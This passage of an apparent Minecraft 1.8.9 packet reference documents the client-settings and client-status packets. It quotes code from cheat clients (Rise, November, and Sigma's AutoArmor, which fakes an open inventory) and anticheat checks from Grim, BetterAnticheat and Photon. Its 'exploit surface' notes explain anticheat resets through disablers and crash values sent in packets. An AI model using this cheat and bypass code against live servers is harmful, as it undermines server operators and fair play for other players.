C03PacketPlayer.C06PacketPlayerPosLook(x, y, z, yaw, pitch, ground));\n    }\n\n    public void sendDigging(String status, ScriptVector3d vector3d, String facing) {\n        PacketUtil.send(new C07PacketPlayerDigging(C07PacketPlayerDigging.Action.valueOf(status),\n                new BlockPos(vector3d.getX(), vector3d.getY(), vector3d.getZ()), EnumFacing.valueOf(facing)));\n    }\n\n    public void sendPlacement() {\n        PacketUtil.send(new C08PacketPlayerBlockPlacement(Client.INSTANCE.getComponentManager().get(Slot.class).getItemStack()));\n    }\n\n    public void sendPlacement(ScriptVector3d vector3d, int direction, float x, float y, float z) {\n        PacketUtil.send(new C08PacketPlayerBlockPlacement(new BlockPos(vector3d.getX(), vector3d.getY(), vector3d.getZ()),\n                direction, Client.INSTANCE.getComponentManager().get(Slot.class).getItemStack(), x, y, z));\n    }\n\n    public void sendPlacement(ScriptVector3d vector3d, int direction, ScriptItemStack itemStack, float x, float y, float z) {\n        PacketUtil.send(new C08PacketPlayerBlockPlacement(new BlockPos(vector3d.getX(), vector3d.getY(), vector3d.getZ()),\n                direction, itemStack.getWrapped(), x, y, z));\n    }\n\n    public void sendChangeItem(int slot) {\n        PacketUtil.send(new C09PacketHeldItemChange(slot));\n    }\n\n    public void sendAnimation(int entityID, String animation) {\n        PacketUtil.send(new C0APacketAnimation());\n    }\n\n    public void sendEntityAction(int entityID, String action) {\n        PacketUtil.send(new C0BPacketEntityAction(Minecraft.getMinecraft().theWorld.getEntityByID(entityID),\n                C0BPacketEntityAction.Action.valueOf(action)));\n    }\n\n    public void sendInput(final float strafeSpeed, final float forwardSpeed, final boolean jumping, final boolean sneaking) {\n        PacketUtil.send(new C0CPacketInput(strafeSpeed, forwardSpeed, jumping, sneaking));\n    }\n\n    public void sendCloseWindow(int windowId) {\n        PacketUtil.send(new C0DPacketCloseWindow(windowId));\n    }\n\n    public void sendCloseWindow() {\n        PacketUtil.send(new C0DPacketCloseWindow(Minecraft.getMinecraft().thePlayer.openContainer.windowId));\n    }\n\n    public void sendEnchantItem(int windowId, int enchantment) {\n        PacketUtil.send(new C11PacketEnchantItem(windowId, enchantment));\n    }\n\n    public void sendEnchantItem(int enchantment) {\n        PacketUtil.send(new C11PacketEnchantItem(Minecraft.getMinecraft().thePlayer.openContainer.windowId, enchantment));\n    }\n\n    public void sendTransaction(int windowId, short actionNumber, boolean accepted) {\n        PacketUtil.send(new C0FPacketConfirmTransaction(windowId, actionNumber, accepted));\n    }\n\n    public void sendAbilities() {\n        PacketUtil.send(new C13PacketPlayerAbilities(Minecraft.getMinecraft().thePlayer.capabilities));\n    }\n\n    public void sendAbilities(boolean flying, boolean allowFlying, boolean creativeMode) {\n        PlayerCapabilities capabilities = new PlayerCapabilities();\n        capabilities.isFlying = flying;\n        capabilities.allowFlying = allowFlying;\n        capabilities.isCreativeMode = creativeMode;\n        PacketUtil.send(new C13PacketPlayerAbilities(capabilities));\n    }\n\n    public void sendTabComplete(String message) {\n        PacketUtil.send(new C14PacketTabComplete(message));\n    }\n\n    public void sendTabComplete(String message, ScriptVector3d vector3d) {\n        PacketUtil.send(new C14PacketTabComplete(message, new BlockPos(vector3d.getX(), vector3d.getY(), vector3d.getZ())));\n    }\n\n    public void sendStatus(String status) {\n        PacketUtil.send(new C16PacketClientStatus(C16PacketClientStatus.EnumState.valueOf(status)));\n    }\n\n    public void sendSettings() {\n        PacketUtil.send(new C15PacketClientSettings());\n    }\n}\n// NOTE (AI): sendSettings() builds a default C15PacketClientSettings and pushes it through PacketUtil.send. The no-arg constructor leaves the fields at vanilla defaults (locale en_US, view distance and chat settings from the packet's field initializers), so the call is a settings re-declaration rather than a spoof.",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/script/api/PacketAPI.java",
      "vanilla_hook": "No event hook; direct PacketUtil.send from script code.",
      "anti_cheat_notes": "None; a default settings packet is indistinguishable from a vanilla re-send.",
      "variations": "Identical PacketAPI in Rise 6.1.30."
     },
     {
      "name": "LuaEventPacket (script bridge)",
      "found_in": [
       "November Recode 2.0"
      ],
      "purpose": "Expose the serverbound packet id space to the Lua scripting API: C15 resolves to id 0x15 so scripts can recognize settings declarations by id.",
      "how_it_works": "A static block maps every serverbound play packet class to its 1.8.9 wire id, C15PacketClientSettings to 0x15. The constructor resolves the id from the EventPacket payload via getOrDefault (falling back to -1) and stamps a direction string ('out' for EventPacket.Out, 'in' otherwise); Lua event wrappers then pass the id and direction to scripts. The map exists because runtime obfuscation would break reflection-based lookups.",
      "detailed_code": "// ===== FILE: November Recode 2.0, scripting/wrapper/event/LuaEventPacket.java =====\n/* November.lol © 2023 */\npackage lol.november.scripting.wrapper.event;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport lol.november.listener.event.net.EventPacket;\nimport lol.november.protect.DontObfuscate;\nimport lombok.Getter;\nimport lombok.Setter;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.*;\n\n/**\n * @author Gavin\n * @since 2.0.0\n */\n@Getter\n@Setter\n@DontObfuscate\npublic class LuaEventPacket {\n\n  /**\n   * A map of each {@link Packet} to their id\n   */\n  private static final Map<Class<? extends Packet<?>>, Integer> packetIds =\n    new HashMap<>();\n\n  static {\n    // you may ask: why not use reflection and just.. do a funny?\n    // obfuscation eventually happens so this aids has to happen\n\n    packetIds.put(C0APacketAnimation.class, 0x0A);\n    packetIds.put(C0BPacketEntityAction.class, 0x0B);\n    packetIds.put(C0CPacketInput.class, 0x0C);\n    packetIds.put(C0DPacketCloseWindow.class, 0x0D);\n    packetIds.put(C0EPacketClickWindow.class, 0x0E);\n    packetIds.put(C0FPacketConfirmTransaction.class, 0x0F);\n    packetIds.put(C00PacketKeepAlive.class, 0x00);\n    packetIds.put(C01PacketChatMessage.class, 0x01);\n    packetIds.put(C02PacketUseEntity.class, 0x02);\n    packetIds.put(C03PacketPlayer.class, 0x03);\n    packetIds.put(C03PacketPlayer.C04PacketPlayerPosition.class, 0x04);\n    packetIds.put(C03PacketPlayer.C05PacketPlayerLook.class, 0x05);\n    packetIds.put(C03PacketPlayer.C06PacketPlayerPosLook.class, 0x06);\n    packetIds.put(C07PacketPlayerDigging.class, 0x07);\n    packetIds.put(C08PacketPlayerBlockPlacement.class, 0x08);\n    packetIds.put(C09PacketHeldItemChange.class, 0x09);\n    packetIds.put(C10PacketCreativeInventoryAction.class, 0x10);\n    packetIds.put(C11PacketEnchantItem.class, 0x11);\n    packetIds.put(C12PacketUpdateSign.class, 0x12);\n    packetIds.put(C13PacketPlayerAbilities.class, 0x13);\n    packetIds.put(C14PacketTabComplete.class, 0x14);\n    packetIds.put(C15PacketClientSettings.class, 0x15);\n    packetIds.put(C16PacketClientStatus.class, 0x16);\n    packetIds.put(C17PacketCustomPayload.class, 0x17);\n    packetIds.put(C18PacketSpectate.class, 0x18);\n    packetIds.put(C19PacketResourcePackStatus.class, 0x19);\n  }\n\n  private final int packet;\n  private final String direction;\n\n  public LuaEventPacket(EventPacket event) {\n    packet = packetIds.getOrDefault(event.get().getClass(), -1);\n    direction = event.get() instanceof EventPacket.Out ? \"out\" : \"in\";\n  }\n}\n\n\n// NOTE (AI): Same wrapper as the C11 and C12 entries: C15PacketClientSettings maps to 0x15 in the hard-coded id table. The wrapper is read-only visibility for scripts; the actual settings emission still runs through the vanilla GameSettings change path.\n",
      "code_source": "November Recode 2.0, scripting/wrapper/event/LuaEventPacket.java",
      "vanilla_hook": "EventPacket.In/Out bus events translated into the Lua wrapper; no packet is constructed or sent here.",
      "anti_cheat_notes": "None: the wrapper only reads the packet class. The id map gives scripts awareness of settings sends, not a locale bypass.",
      "variations": "Rise 6.x actually holds and replays the packet (PingSpoofComponent) and can re-send it (PacketAPI sendSettings); November Recode 2.0's hit is passive plumbing."
     }
    ],
    "general_hooks": "No module-level C15 hook in the corpus; the packet is handled by component infrastructure (Rise 6.x), script calls, or the Lua wrapper (November Recode 2.0).",
    "client_variations": "Vanilla GameSettings emits C15 on settings change in every client; Rise 6.x adds the blink tuple and script bridge; November Recode 2.0 maps it in the Lua wrapper. Spicy Bhop carries dead imports of C15 (and C14, C17, C18, C19) with no call sites.",
    "related": [
     "C16PacketClientStatus",
     "S39PacketPlayerAbilities",
     "S01PacketJoinGame"
    ],
    "anticheat": {
     "overview": "The client-settings packet carries locale, view distance, chat visibility and the skin-parts bitmask, so anticheats read it for two purposes: enforcing protocol limits (Grim CrashE, BetterAnticheat SmallRender) and tying chat visibility to chat activity (Grim ChatD, BetterAnticheat HiddenChat). Photon reads the skin bitmask to catch skinblinker mods that toggle parts while sprinting or that set the unused 0x80 bit.",
     "checks": [
      {
       "name": "ChatD hidden chat (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Stop chat messages from clients that set chat visibility to hidden.",
       "how_it_works": "Tracks the chatVisibility flag from CLIENT_SETTINGS in both the play and configuration protocol states, then cancels any CHAT_MESSAGE or CHAT_COMMAND sent while the flag is HIDDEN, flagging each attempt.",
       "detects": "Hidden-chat clients that keep sending chat, a common bypass primitive for chat moderation and reporting systems.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/chat/ChatD.java =====\npackage ac.grim.grimac.checks.impl.chat;\n\nimport ac.grim.grimac.checks.Check;\nimport ac.grim.grimac.checks.CheckData;\nimport ac.grim.grimac.checks.type.PreViaPacketReceiveListener;\nimport ac.grim.grimac.player.GrimPlayer;\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.wrapper.common.client.WrapperCommonClientSettings;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientSettings;\n\n@CheckData(name = \"ChatD\", stableKey = \"grim.exploit.chat_while_hidden\", description = \"Chatting while chat is hidden\")\npublic class ChatD extends Check implements PreViaPacketReceiveListener {\n    private boolean hidden;\n\n    public ChatD(GrimPlayer player) {\n        super(player);\n    }\n\n    @Override\n    public void onPreViaPacketReceive(PacketReceiveEvent event) {\n        if (event.getPacketType() == PacketType.Play.Client.CHAT_MESSAGE\n                || event.getPacketType() == PacketType.Play.Client.CHAT_COMMAND_UNSIGNED\n                || event.getPacketType() == PacketType.Play.Client.CHAT_COMMAND) {\n            if (hidden && flag() && shouldModifyPackets()) {\n                event.setCancelled(true);\n                player.onPacketCancel();\n            }\n        }\n\n        if (event.getPacketType() == PacketType.Play.Client.CLIENT_SETTINGS || event.getPacketType() == PacketType.Configuration.Client.CLIENT_SETTINGS) {\n            hidden = new WrapperPlayClientSettings(event).getChatVisibility() == WrapperCommonClientSettings.ChatVisibility.HIDDEN;\n        }\n    }\n}\n\n// NOTE (AI): Grim also handles the configuration-state variant of CLIENT_SETTINGS, which matters on 1.20.2+ where settings move into the configuration phase.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/chat/ChatD.java",
       "variations": "BetterAnticheat HiddenChatCheck implements the same rule with a one-message grace period instead of cancellation."
      },
      {
       "name": "CrashE view distance (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Enforce the minimum view distance the client may advertise.",
       "how_it_works": "On CLIENT_SETTINGS, wraps the packet and if the view distance is below 2, flags the value and rewrites it to 2 before the server processes the packet.",
       "detects": "Clients advertising a zero or negative view distance, which destabilizes chunk sending and can be used as a crash or lag primitive.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/crash/CrashE.java =====\npackage ac.grim.grimac.checks.impl.crash;\n\nimport ac.grim.grimac.api.storage.verbose.Verbose;\nimport ac.grim.grimac.checks.Check;\nimport ac.grim.grimac.checks.CheckData;\nimport ac.grim.grimac.checks.type.PacketReceiveListener;\nimport ac.grim.grimac.player.GrimPlayer;\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientSettings;\n\n@CheckData(name = \"CrashE\", stableKey = \"grim.crash.low_view_distance\", description = \"Sent a client view distance below the minimum allowed value\")\npublic class CrashE extends Check implements PacketReceiveListener {\n    private static final Verbose V = Verbose.of(\"distance={sint}\");\n\n    public CrashE(GrimPlayer playerData) {\n        super(playerData);\n    }\n\n    @Override\n    public void onPacketReceive(final PacketReceiveEvent event) {\n        if (event.getPacketType() == PacketType.Play.Client.CLIENT_SETTINGS) {\n            WrapperPlayClientSettings wrapper = new WrapperPlayClientSettings(event);\n            int viewDistance = wrapper.getViewDistance();\n            if (viewDistance < 2) {\n                flag(V.write(verbose()).sint(viewDistance));\n                wrapper.setViewDistance(2);\n            }\n        }\n    }\n\n}\n\n// NOTE (AI): The check rewrites the packet in place rather than cancelling it, so the client connection stays healthy while the impossible value is neutralized.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/crash/CrashE.java",
       "variations": "BetterAnticheat SmallRenderCheck fails on the same condition but does not rewrite the value."
      },
      {
       "name": "SkinBlinkerSprinting (Photon)",
       "found_in": [
        "Photon-GitHub-AntiCheatAddition"
       ],
       "purpose": "Catch skin-part toggles that happen while the player is sprinting or sneaking.",
       "how_it_works": "On CLIENT_SETTINGS, reads the skin-parts bitmask and compares it to the last saved mask. If the player is sprinting or sneaking and the mask changed, the module flags with a violation level of 50. An unmodified client can only change settings from the menu, where sprint and sneak are impossible.",
       "detects": "Skinblinker mods that flash skin parts during movement, which is how many 1.8-era skinblinker bypasses worked.",
       "detailed_code": "// ===== FILE: Photon-GitHub-AntiCheatAddition, src/main/java/de/photon/anticheataddition/modules/checks/skinblinker/SkinBlinkerSprinting.java =====\npackage de.photon.anticheataddition.modules.checks.skinblinker;\n\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientSettings;\nimport de.photon.anticheataddition.modules.ModuleLoader;\nimport de.photon.anticheataddition.modules.ViolationModule;\nimport de.photon.anticheataddition.user.User;\nimport de.photon.anticheataddition.util.protocol.PacketAdapterBuilder;\nimport de.photon.anticheataddition.util.violationlevels.Flag;\nimport de.photon.anticheataddition.util.violationlevels.ViolationLevelManagement;\nimport de.photon.anticheataddition.util.violationlevels.ViolationManagement;\n\nimport java.util.OptionalInt;\n\npublic final class SkinBlinkerSprinting extends ViolationModule\n{\n    public static final SkinBlinkerSprinting INSTANCE = new SkinBlinkerSprinting();\n\n    private SkinBlinkerSprinting() {super(\"Skinblinker.parts.Sprinting\");}\n\n    @Override\n    protected ModuleLoader createModuleLoader()\n    {\n        return ModuleLoader.builder(this)\n                           .addPacketListeners(PacketAdapterBuilder.of(this, PacketType.Play.Client.CLIENT_SETTINGS).onReceiving((event, user) -> {\n                               /*\n                                * An unmodified client can only send such packets if the player is in the menu\n                                * -> They obviously cannot sprint or sneak while doing this.\n                                * -> They can move, especially in MC 1.9+ because of entity-collision, etc.\n                                * -> As of the render-debug-cycle which can be done in the game (F3 + F) I need to check for the change of the skin.\n                                */\n                               final WrapperPlayClientSettings settings = new WrapperPlayClientSettings(event);\n                               final byte skinMask = settings.getSkinMask();\n\n                               // Sprinting or sneaking (detection)\n                               if ((user.getPlayer().isSprinting() || user.getPlayer().isSneaking())\n                                   // The skin mask has been changed\n                                   && handleSentSkinMask(user, skinMask)) {\n                                   getManagement().flag(Flag.of(user)\n                                                            .setAddedVl(50)\n                                                            .setDebug(() -> \"SkinBlinkerSprinting: Skin changed while sprinting or sneaking. New skinmask is %x\".formatted(skinMask)));\n                               }\n                           }).build())\n                           .build();\n    }\n\n    /**\n     * Updates the saved skin components.\n     *\n     * @return true if there was already a skin mask saved before, and it differs from the new skin mask.\n     */\n    public boolean handleSentSkinMask(User user, int skinMask)\n    {\n        final OptionalInt oldSkin = user.getData().object.skinComponents;\n        final boolean skinChange = oldSkin.isPresent() && oldSkin.getAsInt() != skinMask;\n\n        // Update the skin components.\n        user.getData().object.skinComponents = OptionalInt.of(skinMask);\n        return skinChange;\n    }\n\n    @Override\n    protected ViolationManagement createViolationManagement()\n    {\n        return ViolationLevelManagement.builder(this)\n                                       .emptyThresholdManagement()\n                                       .withDecay(200, 25).build();\n    }\n}\n\n// NOTE (AI): Photon stores the last mask per user and only flags on a real change, so a player who re-opens settings without toggling anything is not flagged.",
       "code_source": "Photon-GitHub-AntiCheatAddition, src/main/java/de/photon/anticheataddition/modules/checks/skinblinker/SkinBlinkerSprinting.java",
       "variations": "The sibling module SkinBlinkerUnusedBit flags the 0x80 bit in the same mask, which vanilla clients never set; LabyMod and similar clients use that bit for cosmetics."
      },
      {
       "name": "HiddenChatCheck (BetterAnticheat)",
       "found_in": [
        "amnoah-BetterAnticheat"
       ],
       "purpose": "Catch players who hide the chat but keep chatting.",
       "how_it_works": "Tracks chatVisibility from CLIENT_SETTINGS (FULL and SYSTEM set canChat true, HIDDEN sets it false). When a CHAT_MESSAGE arrives while hidden, the check fails, with a one-message grace period because the settings packet can lag behind the chat packet.",
       "detects": "Clients that hide the chat box while still sending messages, an evasion pattern for chat-based detection.",
       "detailed_code": "// ===== FILE: amnoah-BetterAnticheat, core/src/main/java/better/anticheat/core/check/impl/chat/HiddenChatCheck.java =====\npackage better.anticheat.core.check.impl.chat;\n\nimport better.anticheat.core.BetterAnticheat;\nimport better.anticheat.core.check.Check;\nimport better.anticheat.core.check.CheckInfo;\nimport better.anticheat.core.player.Player;\nimport com.github.retrooper.packetevents.event.simple.PacketPlayReceiveEvent;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientSettings;\n\n/**\n * This check looks for chatting with no chat box.\n */\n@CheckInfo(name = \"HiddenChat\", category = \"chat\")\npublic class HiddenChatCheck extends Check {\n\n    private boolean canChat = true, initalFlag = false;\n\n    public HiddenChatCheck(BetterAnticheat plugin, Player player) {\n        super(plugin, player);\n    }\n\n    @Override\n    public void handleReceivePlayPacket(PacketPlayReceiveEvent event) {\n\n        /*\n         * In Minecraft, there are three chat modes:\n         * FULL - Full access to the chat with other players.\n         * SYSTEM - You should only be able to interact with the Minecraft server, not other players.\n         * HIDDEN - You cannot interact with anything.\n         * So, if a player interacts with the chat on Hidden, they're cheating!\n         */\n\n        switch (event.getPacketType()) {\n            case CLIENT_SETTINGS:\n                try {\n                    WrapperPlayClientSettings wrapper = new WrapperPlayClientSettings(event);\n                    switch (wrapper.getChatVisibility()) {\n                        case FULL:\n                        case SYSTEM:\n                            canChat = true;\n                            break;\n                        case HIDDEN:\n                            canChat = false;\n                            break;\n                    }\n                } catch (final Exception e) {\n                    player.getChecks().remove(this);\n                    return;\n                }\n                break;\n            case CHAT_MESSAGE:\n                if (!canChat) {\n                    // Settings aren't always sent to update this until after chats are sent.\n                    if (initalFlag) fail();\n                    else initalFlag = true;\n                }\n                break;\n        }\n    }\n}\n\n// NOTE (AI): The check disables itself if the settings wrapper throws, since the wrapper is known to be unstable on some protocol versions.",
       "code_source": "amnoah-BetterAnticheat, core/src/main/java/better/anticheat/core/check/impl/chat/HiddenChatCheck.java",
       "variations": "Grim ChatD is the same rule with hard cancellation instead of a grace period."
      },
      {
       "name": "SmallRenderCheck (BetterAnticheat)",
       "found_in": [
        "amnoah-BetterAnticheat"
       ],
       "purpose": "Flag impossibly small render distances.",
       "how_it_works": "On CLIENT_SETTINGS, fails when the view distance is below 2, the lowest value an unmodified modern client can select.",
       "detects": "Clients advertising render distances below 2, which some modules set to reduce chunk load or destabilize server chunk sending.",
       "detailed_code": "// ===== FILE: amnoah-BetterAnticheat, core/src/main/java/better/anticheat/core/check/impl/misc/SmallRenderCheck.java =====\npackage better.anticheat.core.check.impl.misc;\n\nimport better.anticheat.core.BetterAnticheat;\nimport better.anticheat.core.check.Check;\nimport better.anticheat.core.check.CheckInfo;\nimport better.anticheat.core.player.Player;\nimport com.github.retrooper.packetevents.event.simple.PacketPlayReceiveEvent;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientSettings;\n\n/**\n * This check looks for excessively small render distance values.\n */\n@CheckInfo(name = \"SmallRender\", category = \"misc\")\npublic class SmallRenderCheck extends Check {\n\n    public SmallRenderCheck(BetterAnticheat plugin, Player player) {\n        super(plugin, player);\n    }\n\n    @Override\n    public void handleReceivePlayPacket(PacketPlayReceiveEvent event) {\n\n        /*\n         * In modern clients, the lowest value that the render distance can be set to without modification is 2.\n         * There's some issue right now with the Settings wrapper throwing exceptions. This try catch is a quick patch\n         * until that can be investigated fully.\n         */\n\n        if (event.getPacketType() != PacketType.Play.Client.CLIENT_SETTINGS) return;\n        try {\n            WrapperPlayClientSettings wrapper = new WrapperPlayClientSettings(event);\n            if (wrapper.getViewDistance() < 2) fail();\n        } catch (final Exception e) {\n            return;\n        }\n    }\n}\n\n// NOTE (AI): The try-catch around the wrapper is a known workaround for a PacketEvents settings-wrapper exception on some versions.",
       "code_source": "amnoah-BetterAnticheat, core/src/main/java/better/anticheat/core/check/impl/misc/SmallRenderCheck.java",
       "variations": "Grim CrashE flags and rewrites the same value; the BetterAnticheat version only records a fail."
      }
     ]
    }
   },
   "wiki_notes": [
    "1.8.9 wire is lang max 7 chars, byte view, byte chat visibility, bool colors, unsigned byte model-part mask.",
    "Has no separate difficulty or cape bools; skin parts ride in the mask and reach others via DataWatcher.",
    "Resent on settings change; server stores locale and chat prefs while chunk radius stays server-side.",
    "MCP 1.8.9 C15PacketClientSettings implements Packet<INetHandlerPlayServer> dispatching to INetHandlerPlayServer.processClientSettings; wire serde is readPacketData/writePacketData via readBoolean, readByte, readStringFromBuffer, readUnsignedByte.",
    "1.8.9 callers: GameSettings.sendSettingsToServer sends new C15PacketClientSettings (line 1214): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/client/settings/GameSettings.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/C15PacketClientSettings/",
   "mcp_path": "net/minecraft/network/play/client/C15PacketClientSettings.java",
   "group": "play-server",
   "logic_classes": []
  },
  {
   "id": "C16PacketClientStatus",
   "hex": "0x16",
   "dec": 22,
   "dir": "SERVERBOUND",
   "state": "PLAY",
   "name": "Client Status",
   "desc": "Client sends a status update: respawn after death or open inventory (to achieve).",
   "tags": [
    "player",
    "death",
    "respawn"
   ],
   "fields": [
    {
     "name": "status",
     "type": "Enum",
     "desc": "PERFORM_RESPAWN (0) or REQUEST_STATS (1)"
    }
   ],
   "encoding": [
    [
     "Status",
     "VarInt Enum",
     "0=PERFORM_RESPAWN, 1=REQUEST_STATS"
    ]
   ],
   "mcp": [
    "NetHandlerPlayServer.processClientStatus()"
   ],
   "handler": "INetHandlerPlayServer",
   "notes": "PERFORM_RESPAWN is sent when the player clicks \"Respawn\" after death. REQUEST_STATS opens the statistics screen.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "C16 carries one enum state: PERFORM_RESPAWN, REQUEST_STATS, or OPEN_INVENTORY_ACHIEVEMENT. It is the client's status signal for lifecycle events: respawn after death, stats/achievement screen state, and the open-inventory achievement that vanilla fires when the player presses E. The server's processClientStatus switches on the enum: PERFORM_RESPAWN recreates the player entity (with hardcore and end-conquest special cases), REQUEST_STATS flushes the stat file, OPEN_INVENTORY_ACHIEVEMENT triggers the openInventory achievement."
     },
     {
      "h": "Vanilla handling",
      "p": "processClientStatus: for PERFORM_RESPAWN it checks the end-conquest flag, hardcore bans, and that the player's health is <= 0 before recreating the player entity. REQUEST_STATS calls getStatFile().func_150876_a. OPEN_INVENTORY_ACHIEVEMENT triggers AchievementList.openInventory. Notably the OPEN_INVENTORY_ACHIEVEMENT state has no state validation: the client can claim its inventory opened at any time, which is exactly what inventory managers and disablers abuse to fake the inventory-open state."
     },
     {
      "h": "Why clients touch it",
      "p": "AutoArmor (Sigma, Spicy) sends OPEN_INVENTORY_ACHIEVEMENT in FakeInv mode so the server believes the inventory is open, letting shift-clicks register outside a real GUI. Inventory managers (Spicy InventoryManager, Rise Manager) track and force the open state with C16. InvMove/CancelInventoryMove (Rise 5.99, Rise 6.x) cancel the C16 open so the server never learns the player is in a GUI while moving. Disablers (Rise 5.99 Disabler sends PERFORM_RESPAWN; Rise 6.2.4 WatchdogDisabler sends OPEN_INVENTORY_ACHIEVEMENT before click-window abuse) use the status packet to reset server-side player state. Spicy ChestStealer and Bhop reference C16 for the open-inventory close trick."
     },
     {
      "h": "Exploit surface",
      "p": "PERFORM_RESPAWN resets the player entity: position, health, and the hasMoved flag. Sending it outside death (Rise 5.99 Disabler c16 mode) recreates the player and can clear server-side tracking state, which is a classic anti-cheat reset vector. OPEN_INVENTORY_ACHIEVEMENT with no real GUI open desyncs the server's inventory-open flag; clients then move and click while the server thinks the container is open, which InventoryMove modules pair with C0E clicks. The achievement trigger also fires a stat, so spam shows up in stat logs."
     }
    ],
    "overview": "The lifecycle status packet. AutoArmor fakes an open inventory with it, InventoryManagers force the open state, InvMove cancels it to hide GUI usage, and disablers fire PERFORM_RESPAWN to reset the server's view of the player. The open-inventory enum has zero state validation, which is the whole game.",
    "server_handling": "processClientStatus switches on the enum. PERFORM_RESPAWN: end-conquest recreate, hardcore ban/kick paths, then recreatePlayerEntity only when health <= 0. REQUEST_STATS: flush stat file. OPEN_INVENTORY_ACHIEVEMENT: trigger the achievement; no check that a GUI is actually open. markPlayerActive is called on every status packet.",
    "protocol_notes": "Fields: VarInt enum ordinal (0 = PERFORM_RESPAWN, 1 = REQUEST_STATS, 2 = OPEN_INVENTORY_ACHIEVEMENT). Sent in PLAY state. Vanilla fires OPEN_INVENTORY_ACHIEVEMENT from GuiInventory open; modules send it from tick handlers. The enum is the only payload, so spoofing is a one-int forge.",
    "anticheat_landscape": "Anti-cheats correlate OPEN_INVENTORY_ACHIEVEMENT with the actual GUI state: opening the inventory while moving is the InventoryMove flag, so CancelInventoryMove cancels the C16 rather than the movement. PERFORM_RESPAWN outside death is a strong reset-abuse signal on servers that track entity recreation; Rise 5.99 gates it behind a packet-cooldown so it does not spam. WatchdogDisabler pairs the C16 open with C0E clicks, and the PingSpoofComponent parks C16 in its blink class list so delayed status packets do not leak.",
    "modules": [
     {
      "name": "AutoArmor (FakeInv)",
      "found_in": [
       "Sigma 4.11",
       "Spicy",
       "LiquidSense Dev"
      ],
      "purpose": "Equip the best armor automatically; in FakeInv mode, send C16 OPEN_INVENTORY_ACHIEVEMENT so the server accepts shift-clicks without a real GUI.",
      "how_it_works": "Sigma AutoArmor scans armor slots (4-8) and inventory slots (9-44), computes protection values, and shift-clicks the best piece via playerController.windowClick. When the mode is FakeInv, it first sends C16(OPEN_INVENTORY_ACHIEVEMENT) so the server-side inventory-open flag is set, allowing the clicks to register as if the player pressed E.",
      "detailed_code": "// ===== FILE: Sigma 4.11, info/sigmaclient/module/impl/player/AutoArmor.java =====\npackage info.sigmaclient.module.impl.player;\n\nimport net.minecraft.client.gui.GuiChat;\nimport net.minecraft.client.gui.inventory.GuiInventory;\nimport net.minecraft.enchantment.Enchantment;\nimport net.minecraft.enchantment.EnchantmentHelper;\nimport net.minecraft.item.ItemArmor;\nimport net.minecraft.item.ItemStack;\nimport net.minecraft.network.play.client.C16PacketClientStatus;\nimport net.minecraft.network.play.client.C16PacketClientStatus.EnumState;\nimport info.sigmaclient.Client;\nimport info.sigmaclient.event.Event;\nimport info.sigmaclient.event.impl.EventTick;\nimport info.sigmaclient.module.Module;\nimport info.sigmaclient.module.data.ModuleData;\nimport info.sigmaclient.module.data.Options;\nimport info.sigmaclient.module.data.Setting;\nimport info.sigmaclient.util.misc.Timer;\nimport info.sigmaclient.event.RegisterEvent;\npublic class AutoArmor extends Module {\n\n\tpublic static final String DELAY = \"DELAY\";\n\tpublic static final String MODE = \"MODE\";\n\tprivate Timer timer = new Timer();\n    public AutoArmor(ModuleData data) {\n        super(data);\n        settings.put(DELAY, new Setting<>(DELAY, 1, \"Inventory clicks delay.\", 1, 0, 10));\n\t\tsettings.put(MODE, new Setting<>(MODE, new Options(\"Mode\", \"Basic\",new String[] {\"Basic\", \"OpenInv\", \"FakeInv\"}), \"InvManager method.\"));\n    }\n\n    @Override\n    @RegisterEvent(events = {EventTick.class})\n    public void onEvent(Event event) {\n        String mode = ((Options) settings.get(MODE).getValue()).getSelected();\n        this.setSuffix(mode);\n    \tif(Client.getModuleManager().isEnabled(InventoryManager.class))\n    \t\treturn;\n    \tlong delay = ((Number) settings.get(DELAY).getValue()).longValue()*50;\n        if(mode.equalsIgnoreCase(\"OpenInv\") && !(mc.currentScreen instanceof GuiInventory)){\n        \treturn;\n        }\n        if(mc.currentScreen == null || mc.currentScreen instanceof GuiInventory || mc.currentScreen instanceof GuiChat){\n        \tif(timer.check(delay)){\n        \t\tgetBestArmor();\n        \t}\n        }\n    }\n    \n    public void getBestArmor(){\n    \tfor(int type = 1; type < 5; type++){\n    \t\tif(mc.thePlayer.inventoryContainer.getSlot(4 + type).getHasStack()){\n    \t\t\tItemStack is = mc.thePlayer.inventoryContainer.getSlot(4 + type).getStack();\n    \t\t\tif(isBestArmor(is, type)){\n    \t\t\t\tcontinue;\n    \t\t\t}else{\n    \t\t\t\tif( ((Options) settings.get(MODE).getValue()).getSelected().equalsIgnoreCase(\"FakeInv\")){\n        \t\t\t\tC16PacketClientStatus p = new C16PacketClientStatus(EnumState.OPEN_INVENTORY_ACHIEVEMENT);\n        \t\t\t\tmc.thePlayer.sendQueue.addToSendQueue(p);\n    \t\t\t\t}\n    \t\t\t\tdrop(4 + type);\n    \t\t\t}\n    \t\t}\n    \t\tfor (int i = 9; i < 45; i++) {\n    \t\t\tif 